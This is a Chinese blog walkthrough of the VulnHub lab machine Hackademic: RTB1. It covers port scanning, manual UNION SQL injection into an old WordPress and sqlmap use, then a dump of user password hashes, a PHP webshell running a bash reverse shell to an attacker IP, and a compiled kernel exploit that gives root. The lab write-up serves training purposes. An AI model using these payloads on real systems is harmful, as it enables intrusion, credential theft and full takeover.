[VulnHub靶机渗透] Hackademic: RTB1

news2024/12/22 18:47:44
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

0x1 前言

0x2 信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

0x3 渗透测试+信息收集

1、web服务信息收集

2、SQL注入漏洞

一、手工联合注入

二、sqlmap脚本小子

3、上传木马,反弹shell

0x4 提权

1、基本提权+信息收集

2、内核提权

3、成功拿到key.txt


0x1 前言

靶机精讲之Hackademic: RTB1,vulnhub靶机,手动SQL注入,小试牛刀,内核提权。读遍牙签三万轴,欲来小邑试牛刀。

靶机下载地址:

Hackademic: RTB1 ~ VulnHub

0x2 信息收集

1、主机探测

我们首先利用arp进行主机探测,发现靶机的IP地址是10.10.10.134

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# arp-scan -l

2、端口扫描

利用nmap扫描靶机的端口开放情况,发现只开启了80端口,并且22端口ssh服务还被关闭了,那么目前分析,这个靶场利用找到用户名密码然后ssh远程连接的常规思路是不行了的。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap -sS -A -p- 10.10.10.134 

这将扫描目标主机的UDP协议并列出最常见的20个端口的状态,但是目前看没有发现什么有价值的端口。就目前来看,还是80端口的web服务是最为吸引我们的。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap -sU --top-ports 20 10.10.10.134

3、漏洞扫描

--script=vuln是nmap自带的漏洞扫描模块,我们简单的利用nmap扫描下漏洞,

也就是扫描到了几个比较老版本的漏洞,比如CVE-2007-6750、CVE-2011-3192等,但是我都上网查了下这几个漏洞的危害,都是类似ddos的让某个http网站访问不了的功能,对应我们这里渗透测试拿root权限来讲,意义不是很大,感兴趣的师傅可以尝试下。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap --script=vuln -p80 10.10.10.134

0x3 渗透测试+信息收集

1、web服务信息收集

我们这里直接访问IP地址,访问这个web服务,发现是个静态的HTML页面,上面的英文意思就是让我们拿到root权限,然后拿到root目录下的key.txt文件。

这里是静态的HTML页面,一般渗透测试中包括实战中,碰到都是可以右击查看网页源代码的,

目前没有发现什么有价值的信息。

发现这个可以点击看看

然后老规矩查看网页源代码,

这次有收获,发现这个网站是个wordpress 的CMS框架网站,看着版本是1.5.1.1,应该比较低,可能存在漏洞,那么我们就可以借助Google搜素了。

发现EXP里面确实存在这个版本的wordpress漏洞,并且存在sql注入漏洞,那么我们等会多留意下存在参数的地方,然后手工测一下sql注入。

2、SQL注入漏洞

这个页面存在参数,我们利用单引号' 测试下,发现页面没有报错,说明不存在SQL注入

一、手工联合注入

1、这个页面利用单引号' 测试,页面发生了报错,并且还看到了注入语句:

SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1

2、找到了注入点,那么下一步我们就需要尝试获取数据库到底有多少列,利用order by测试。

一直到5都是页面正常,但是到6 的时候页面发生了报错,说明这个数据库就是5列

1 order by 1,2,3,4,5

1 order by 1,2,3,4,5,6

3、接下来我们可以用联合查询的方法进行注入,思考SQL查询语句,我们要保证后台执行我们的联合查询union select语句,这里使用1 发现页面没有回显,那么一般我们就要不改大要不然改小点,反正目的就是为了能有数据回显出来。我这里改成了0。

1 union select 1,2,3,4,5

发现回显了个2,那么说明只有第二列才能回显

0 union select 1,2,3,4,5

因为大家可以看到报错的信息,后面有个LIMIT 1,说明只允许回显一列

4、果然没错,我们在第二列这里回显出来了数据库的版本信息以及数据库名"wordpress"

5、那么我们接着需要报后面的更多信息,主要是要拿到比如账号密码之类的信息

这里我们直接利用Google浏览器检索下面的关键字,因为wordpress CMS框架体系非常成熟,像数据库的很多信息都是一体化的,都是可以找到对应的信息的。

但是前提是我们得找到SQL注入的报错点,然后才能进一步的利用这个漏洞。

wordpress database description

找到 Table: wp_users ,里面有关于用户的具体字段数据

6、我们直接利用group_concat()进行读取数据库里面的字段数据,但是发现账号密码都没有分开,看着很乱,我们这里利用ASCII码的0x2d表示换行的意思,来进行数据的分开操作

group_concat()是一个SQL函数,通常用于将多行查询结果合并为一个字符串,以便更容易获取信息

这里需要补充一个字段就是user_level,这里是看红队大佬的笔记

然后我们进行修改下,可以看到GeorgeMiller用户的权限是最高的,我们这里需要进行提权操作,那么肯定首选权限高的用户。

1-NickJames-21232f297a57a5a743894a0e4a801fc3-1
2-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0
3-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10
4-TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0
5-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0
6-MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0

二、sqlmap脚本小子

红队大佬说的是一般情况下不使用sqlmap脚本跑,除非没有任何思路了,我们使用手工联合注入可以让我们更加清楚这个底层原理,而不是为了拿到root权限当脚本小子,下面使用sqlmap跑我这里不做太多的说明,跑出数据库来即可,要是想用sqlmap的可以自己尝试下。

sqlmap -u "http://10.10.10.134/Hackademic_RTB1/?cat=0" --dbs --batch

3、上传木马,反弹shell

发现密码是MD5加密的

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# hash-identifier "7cbb3252ba6b7e9c422fac5334d22054" 

MD5在线解密网站:

Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

解密得到密码是:q1w2e3

登录wordpress后台,像wordpress这种特别成熟的CMS框架,登录页面的目录位置也是固定的

/wp-login.php/目录

你要是不知道,其实这里扫描目录也是可以看到的

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# dirsearch -u http://10.10.10.134/Hackademic_RTB1/ -i 200

输入账号密码GeorgeMiller:q1w2e3即可登录进去了,

像这个wordpress模块的功能也是很熟悉的,因为这个CMS博客框架很普遍了,如果不了解的师傅可以搞个WP博客玩下。

像里面有好几个地方是可以进行漏洞利用的,一个是里面的插件位置,还有一个就是upload文件上传的位置,我们可以上传php木马,然后kali监听,反弹shell。

下面我带师傅们从上传php木马来演示!

1、首先按照下面的顺序点击如下,意思就是允许文件上传,并且允许上传php文件

师傅们要是看不懂,可以用Google翻译下哈,多了解下这个网站的功能点是什么意思,对我们渗透测试很有帮助的!

给大家推荐个写自动化脚本的网站:

Online - Reverse Shell Generator

/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

php木马如下:

<?php exec("/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"); ?>

然后kali进行监听,访问上面的bin.php木马

反弹shell成功了

0x4 提权

1、基本提权+信息收集

一般进入一个用户权限的shell中,一般都会尝试下sudo提权以及SUID提权,还会看历史进程会不会有可以利用的恶意进程,以及history历史命令查看。

2、内核提权

没办法了,一般基本的提权都没用,这里要拿到root权限,那么就必须得尝试下内核提权了。

很多开始学习的师傅们感觉内核提权很简单,调用别人的内核提权脚本直接编译然后执行就可以了,其实实际上并不是的,内核提权是很复杂的,因为需要你从很多脚本中进行筛选,是个细活。

需要渗透测试人员的渗透经验来进行判断。

bash-4.0$ uname -a
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

我们使用searchsploit 工具进行检索过滤,发现还是有很多的脚本需要我们进行筛选

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'

这里我看红队笔记大佬提出排查思路,首先排除特定linux操作系统的漏洞,比如Ubuntu/CentOS/RedHat,这些我们都暂不考虑(因为靶机操作系统不是这些),然后尽可能选择版本范围精确的漏洞。

searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation' |grep -v 'Ubuntu' |grep -v 'CentOS' |grep -v 'Debian' |grep -v 'RedHat'

-v是反向查询,也就是把不需要的关键词过滤掉

其实一看还是蛮多的,这里我们先从最匹配的几个开始下手测试下,

就是10018.sh和15285.c这两个脚本。

其中10018.sh这个脚本我先测试的,发现提权没有成功,但是第二次使用15285.c脚本测试成功提权了

我们先把脚本下载到本地,然后通过http服务上传到靶机的/tmp目录下(这个临时目录的权限比较高)

编译15285.c ,然后再提高权限,然后执行改提权脚本,成功拿到root权限

gcc 15285.c -o 15285
chmod -R 777 15285
./15285

3、成功拿到key.txt

sh-4.0# cat key.txt~
cat key.txt~
Yeah!!
You must be proud becouse you ve got the password to complete the First Reallistic Hackademic Challenge (Hackademic.RTB1) :)

$_d&jgQ>>ak\#b"(Hx"o<la_%

Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1647067.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一、Vagrant搭建相关环境

目录 一、创建Vagrant相关环境1.下载安装VirtualBox2.在BlOS中设置CPU虚拟化3.使用Vagrant新建linux虚拟机3.1下载Vagrant3.2Vagrant官方镜像仓库3.3使用Vagrant初始化一个centos7的虚拟机 4.设置固定ip地址 二、安装docker1.按照docker 三、docker安装一些中间件1.mysql安装2.…

Elasticsearch:理解人工智能相似性搜索

理解相似性搜索&#xff08;也称为语义搜索&#xff09;的指南&#xff0c;这是人工智能最新阶段的关键发现之一。 最新阶段人工智能的关键发现之一是根据相似性搜索和查找文档的能力。相似性搜索是一种比较信息的方法&#xff0c;其基于含义而非关键字。 相似性搜索也被称为语…

【隧道篇 / WAN优化】(7.4) ❀ 01. 启动WAN优化 ❀ FortiGate 防火墙

【简介】几乎所有的人都知道&#xff0c;防火墙自带的硬盘是用来保存日志&#xff0c;以方便在出现问题时能找到原因。但是很少的人知道&#xff0c;防火墙自带的硬盘其实还有另一个功能&#xff0c;那就是用于WAN优化。 防火墙自带的硬盘 在FortiGate防火墙A、B、C、D系列&…

MWeb Pro for Mac:功能强大的Markdown博客编辑器

MWeb Pro for Mac是一款功能强大的Markdown博客编辑器&#xff0c;专为Mac用户设计&#xff0c;提供了一站式的博客写作和发布体验。这款软件不仅支持Markdown语法&#xff0c;还提供了丰富的编辑和排版功能&#xff0c;让用户能够轻松创建出精美的博客内容。 MWeb Pro的即时预…

每日一题4:Pandas创建新列

一、每日一题 一家公司计划为员工提供奖金。 编写一个解决方案&#xff0c;创建一个名为 bonus 的新列&#xff0c;其中包含 salary 值的 两倍。 返回结果格式如下示例所示。 解答&#xff1a; import pandas as pddef createBonusColumn(employees: pd.DataFrame) -> pd.D…

Redis高级(Redis持久化,Redis主从模式,Redis哨兵模式,Redis分片集群)

目录 一、单机Redis 1. 问题说明 2. 安装Redis 1 解压安装Redis【备用】 2 配置Redis 3 启动Redis 3. 小结 二、Redis持久化 1. 持久化机制介绍 2. RDB模式 3. AOF模式 4. RDB和AOF对比 5. 小结 三、Redis主从模式 1. 介绍 2. 搭建Redis主从架构【备用】 3. 主…

微服务领域的寻路者 —— Eureka深度探索与实战秘籍

文章目录 一、引言定义目标一个接地气的例子引言小结 二、Eureka架构2.1 Eureka Server一个有趣的例子2.2 Eureka Client一段简单的代码示例架构小结 三、工作流程1. 服务注册2. 心跳检测3. 服务发现4. 健康检查与失效剔除工作流程小结 四、核心机制4.1 服务注册与续约4.2 服务…

2024年03月 Scratch 图形化(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

Scratch图形化等级考试(1~4级)全部真题・点这里 一、单选题(共18题,共50分) 第1题 运行程序后,角色一定不会说出的数字是?( ) A:2 B:4 C:6 D:8 答案:A 程序中随机数的取值最小为 2,最大为 20 ,那么随机数加上 2 之后的结果的最小值为 4 ,最大值为 22 。所…

设备树与/sys/bus/platform/devices与/sys/devices目录关系

设备树与sys/bus/platform/devices sysfs文件系统中/sys/bus/platform/devices下的设备是由设备树生成&#xff0c; 根节点下有compatible的子节点都会在/bus/platform/devices生成节点 总线 I2C、SPI 等控制器会在/bus/platform/devices生成节点 总线 I2C、SPI 节点下的子节点…

为什么电子商务安全是速度和保护之间的平衡行为

微信搜索关注公众号网络研究观&#xff0c;获取更多信息。 电子商务世界是一把双刃剑。虽然它为企业和消费者提供了便利和可访问性&#xff0c;但它也为网络犯罪分子提供了诱人的目标。在这个不断变化的环境中&#xff0c;优先考虑安全不再是一种选择&#xff1b;而是一种选择&…

Reactor Netty TCP 服务器端-响应式编程-011

🤗 ApiHug {Postman|Swagger|Api...} = 快↑ 准√ 省↓ GitHub - apihug/apihug.com: All abou the Apihug apihug.com: 有爱,有温度,有质量,有信任ApiHug - API design Copilot - IntelliJ IDEs Plugin | Marketplace The Next Generation API Development Platform…

【LeetCode】环形队列实现

目录 前言1. 环形队列概念2. 循环队列实现设计3. 功能实现3.1 定义3.2 初始化3.3 判断队列是否为空3.4 判断队列是否为满3.5 入栈3.6 出栈3.7 获取队头数据3.8 获取队尾数据3.9 销毁 4. 总结5. 完整通过代码 前言 之前我们学习环形链表相关问题&#xff0c;现在我们来看看环形…

opencv_21_直方图均衡化

1&#xff09;void histogram_eq_demo(Mat& image); 2&#xff09;void ColorInvert::histogram_eq_demo(Mat& image) { Mat gray; cvtColor(image, gray, COLOR_BGR2GRAY); imshow("灰度图像", gray); Mat dst; equalizeHist(gray, ds…

B2985A是德科技B2985A高阻计

181/2461/8938产品概述&#xff1a; B2985A 静电计/高阻表 描述 B2985A 静电计/高阻表是全球少有具有图形显示功能的静电计&#xff0c;可凭借 0.01 fA&#xff08;0.01 x 10-15 A&#xff09;的分辨率帮助您可靠测量弱电流&#xff0c;并可测量高达 10 PΩ&#xff08;10 x 1…

基于FPGA的去雾算法

去雾算法的原理是基于图像去模糊的原理&#xff0c;通过对图像中的散射光进行估计和去除来消除图像中的雾霾效果。 去雾算法通常分为以下几个步骤&#xff1a; 1. 导引滤波&#xff1a;首先使用导引滤波器对图像进行滤波&#xff0c;目的是估计图像中散射光的强度。导引滤波器…

C++ | Leetcode C++题解之第73题矩阵置零

题目&#xff1a; 题解&#xff1a; class Solution { public:void setZeroes(vector<vector<int>>& matrix) {int m matrix.size();int n matrix[0].size();int flag_col0 false;for (int i 0; i < m; i) {if (!matrix[i][0]) {flag_col0 true;}for …

C语言 | Leetcode C语言题解之第73题矩阵置零

题目&#xff1a; 题解&#xff1a; void setZeroes(int** matrix, int matrixSize, int* matrixColSize) {int m matrixSize;int n matrixColSize[0];int flag_col0 false;for (int i 0; i < m; i) {if (!matrix[i][0]) {flag_col0 true;}for (int j 1; j < n; j…

透明屏幕的亮度如何?在强光环境下是否仍然清晰可见?

透明屏幕的亮度是一个重要的指标&#xff0c;决定了屏幕在明亮环境中的可视程度。在透明屏幕领域&#xff0c;高亮度的屏幕可以确保在强光环境下仍然能够清晰显示内容。 OLED透明屏通常具有较高的亮度&#xff0c;可以达到500尼特以上&#xff0c;这使得它们在明亮的环境中仍然…

SaToken框架实现在Rpc上下文的login处理逻辑

最近在工作中遇到一个需求&#xff0c;需要在项目A中实现一个rpc接口供其他项目调用&#xff0c;接口返回登录token&#xff0c;从而实现其他项目的用户能免密登录到项目A。 项目A是用了SaToken来做的鉴权&#xff0c;原本我的打算是直接在rpc中调用StpUtil.login()方法来实现登…

【论文阅读】 Loss Functions for Image Restoration with Neural Networks

Loss Functions for Image Restoration with Neural Networks 论文地址摘要I. 引言II 相关工作用于图像恢复的神经网络B 找到更好的解决方案。 三、图像恢复的损失层A. l1 错误 The l1 ErrorB. SSIMC. MS-SSIMD. The Best of Both Worlds: MS-SSIM L1 四、结果A. Joint Denois…